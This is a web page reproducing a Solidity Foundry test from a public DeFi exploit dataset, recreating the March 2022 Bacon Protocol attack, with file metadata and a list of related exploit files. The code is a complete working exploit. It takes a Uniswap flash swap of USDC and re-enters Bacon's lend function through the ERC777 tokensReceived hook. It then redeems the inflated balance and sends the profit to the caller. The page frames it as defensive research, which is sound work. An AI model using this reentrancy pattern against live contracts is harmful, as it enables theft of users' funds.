Public reproduction file
src/test/2022-03/Bacon_exp.sol
Public reproduction file for dataset entry Bacon Protocol.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!3pragma solidity >=0.7.0 <0.9.0;5import "forge-std/Test.sol";6import "./../interface.sol";8contract ContractTest is Test {9 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);10 IUniswapV2Pair pair = IUniswapV2Pair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);11 IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);12 IBacon bacon = IBacon(0xb8919522331C59f5C16bDfAA6A121a6E03A91F62);13 uint256 count = 0;15 constructor() {16 cheats.createSelectFork("mainnet", 14_326_931); // fork mainnet at block 1432693118 ERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24).setInterfaceImplementer(19 address(this), bytes32(0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b), address(this)20 );21 }23 function test() public {24 emit log_named_uint("Before exploit, USDC balance of attacker:", usdc.balanceOf(msg.sender));25 pair.swap(6_360_000_000_000, 0, address(this), new bytes(1));27 emit log_named_uint("After exploit, USDC balance of attacker:", usdc.balanceOf(msg.sender));28 }30 function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {31 usdc.approve(address(bacon), 10_000_000_000_000_000_000);32 bacon.lend(2_120_000_000_000);33 bacon.redeem(bacon.balanceOf(address(this)));34 usdc.transfer(msg.sender, ((amount0 / 997) * 1000) + 10 ** usdc.decimals());35 usdc.transfer(tx.origin, usdc.balanceOf(address(this)));36 }38 function tokensReceived(39 address operator,40 address from,41 address to,42 uint256 amount,43 bytes calldata data,44 bytes calldata operatorData45 ) public {46 count += 1;47 if (count <= 2) {48 bacon.lend(2_120_000_000_000);49 }50 }51}Analysis
Dataset entry
Public Foundry test for “Bacon Protocol” (2022-03-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
13 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-03/Agave_exp.solSame month in the dataset · 208 lines
- src/test/2022-03/Auctus_exp.solSame month in the dataset · 62 lines
- src/test/2022-03/CompoundTusd_exp.solSame month in the dataset · 23 lines
- src/test/2022-03/Fantasm_exp.solSame month in the dataset · 30 lines
- src/test/2022-03/HundredFinance_exp.solSame month in the dataset · 142 lines
- src/test/2022-03/LiFi_exp.solSame month in the dataset · 412 lines
- src/test/2022-03/OneRing_exp.solSame month in the dataset · 31 lines
- src/test/2022-03/Paraluni_exp.solSame month in the dataset · 89 lines
- src/test/2022-03/RedactedCartel_exp.solSame month in the dataset · 76 lines
- src/test/2022-03/Revest_exp.solSame month in the dataset · 67 lines
- src/test/2022-03/Ronin_exp.solSame month in the dataset · 52 lines
- src/test/2022-03/TreasureDAO_exp.solSame month in the dataset · 30 lines
- src/test/2022-03/Umbrella_exp.solSame month in the dataset · 46 lines
File record
- Name
- Bacon Protocol
- Path
- src/test/2022-03/Bacon_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- ce6f682221989780140262d5e947ed8236efd72a
- Language
- Solidity
- Size
- 52 lines
- Date
- 2022-03-05
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-03/Bacon_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ce6f682221989780140262d5e947ed8236efd72a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.